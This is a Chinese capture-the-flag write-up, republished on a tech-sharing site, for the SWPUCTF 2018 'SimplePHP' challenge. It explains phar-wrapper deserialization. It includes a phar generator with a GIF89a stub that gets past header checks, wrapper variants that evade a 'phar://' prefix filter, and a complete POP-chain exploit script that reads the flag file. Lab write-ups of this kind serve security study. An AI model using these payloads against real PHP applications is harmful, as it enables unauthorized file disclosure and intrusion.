ICode9

精准搜索请尝试: 精确搜索
首页 > 编程语言> 文章详细

[SWPUCTF 2018]SimplePHP

2021-10-16 23:35:17  阅读:204  来源: 互联网

标签:文件 file SWPUCTF SimplePHP phar 2018 str test php


[SWPUCTF 2018]SimplePHP

打开环境

image

查看文件处可以查看源码

file.php

image

里面包含function.php和class.php,继续查看源码

function.php

image

class.php

image

base.php

image

上传页的源码

upload_file.php

image

文件上传处调用了upload_file()函数,这个函数的声明在function.php中,执行过程是先通过upload_file_check()函数的检查,再执行upload_file_do()函数。

upload_file_check()函数,只检查后缀,不检查文件头,白名单机制,"gif","jpeg","jpg","png"

upload_file_do()函数,将文件的完整名和我的IP地址拼接在一起后进行md5加密,再在名字后拼接一个jpg的后缀进行上传

分析到这里就知道截断没法用了,因为你即使截断了文件名,他最后的操作也是将你截断后的文件名md5加密后再拼接jpg后缀;接着由于是白名单机制,所以.htaccess也没法上传,所以这块是没法绕过的,这不是一道普通的文件上传题。

这题根据源码查看可以猜到应该和反序列化有关,但又由于不存在unserialize()函数,因此常规反序列化的思路走不通,所以这里需要借助phar协议触发反序列化操作。

这里首先疏通一下phar协议的知识点(主要参考:https://www.cnblogs.com/sijidou/p/13121358.html)

  1. phar协议的生效版本为5.3.0,也就是说这个版本之前是无法使用关于phar的任何功能的
  2. phar是一种php语言的文件的后缀
  3. 使用phar需要在php.ini文件中开启对应的配置
[Phar]
phar.readonly = Off
  1. 生成phar文件的代码格式如下:
<?php
	//反序列化payload构造
     class TestObject {
     }

     @unlink("phar.phar");
     $phar = new Phar("phar.phar"); //后缀名必须为phar
     $phar->startBuffering();
     //设置stub,GIF89a可以改成其他的字段,绕过文件头检验,但必须以 __HALT_COMPILER(); ?> 结尾
     $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");

 	//将反序列化的对象放入该文件中
     $o = new TestObject();
     $o->data='just a test';
     $phar->setMetadata($o);

 	//phar本质上是个压缩包,所以要添加压缩的文件和文件内容
     $phar->addFromString("test.txt", "test"); 
     $phar->stopBuffering();
 ?>
  1. 在禁止phar开头的情况下的替代方法

    compress.zlib://phar://phar.phar/test.txt
    compress.bzip2://phar://phar.phar/test.txt
    php://filter/read=convert.base64-encode/resource=phar://phar.phar/test.txt
    

    虽然会报warning,但是还是会执行

分析

file.php文件

首先这个文件的主要作用就是去执行_show()这个函数,所以转而去找show函数的位置

class.php文件

最终在class中找到此函数,继续分析发现有个魔术方法construct,他会在函数构造时将传入的参数赋值给source,并且后边注释给到提示用phar

tostring也是一个魔术方法,会在直接输出对象引用时自动调用,所以要找到能直接输出这个函数的地方,发现cle4r中有个echo的地方可以利用。

这个方法中有个$this->str['str']->source,首先找到str这个数组,取出key值为str的value值赋给source

__get():它可以在对象的外部获取私有成员属性的值

__set( $property, $value )方法用来设置私有属性, 给一个未定义的属性赋值时,此方法会被触发,传递的参数是被设置的属性名和值。

这里面的关系实在是太乱了,分析了老半天也没把里面的关系搞得很清晰,只能看着别人写的exp,大概猜出pop链的执行过程

class C1e4r
{
    public $test;
    public $str;
}

class Show
{
    public $source;
    public $str;
}
class Test
{
    public $file;
    public $params;
}

$c1e4r = new C1e4r();
$show = new Show();
$test = new Test();
$test->params['source'] = "/var/www/html/f1ag.php";
$c1e4r->str = $show;   //利用  $this->test = $this->str; echo $this->test;
$show->str['str'] = $test;  //利用 $this->str['str']->source;

$phar = new Phar("exp.phar"); //.phar文件
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ? >'); //固定的
$phar->setMetadata($c1e4r); //触发的头是C1e4r类,所以传入C1e4r对象
$phar->addFromString("exp.txt", "test"); //随便写点什么生成个签名
$phar->stopBuffering();

最后的倔强:

echo出来的东西就是show类中的tostring方法的返回值,这个返回值,要先找到str这个数组,然后取出key的值为str的value的值,再把这个值赋给source,然而这个值又不存在,不存在就又会调用__set()方法,这个方法会把Test类返回过来的值赋值给str,最后content里面的内容其实就是Test类中返回过来的值,即base64编码后的源文件内容

标签:文件,file,SWPUCTF,SimplePHP,phar,2018,str,test,php
来源: https://www.cnblogs.com/Sentry-fei/p/15415643.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有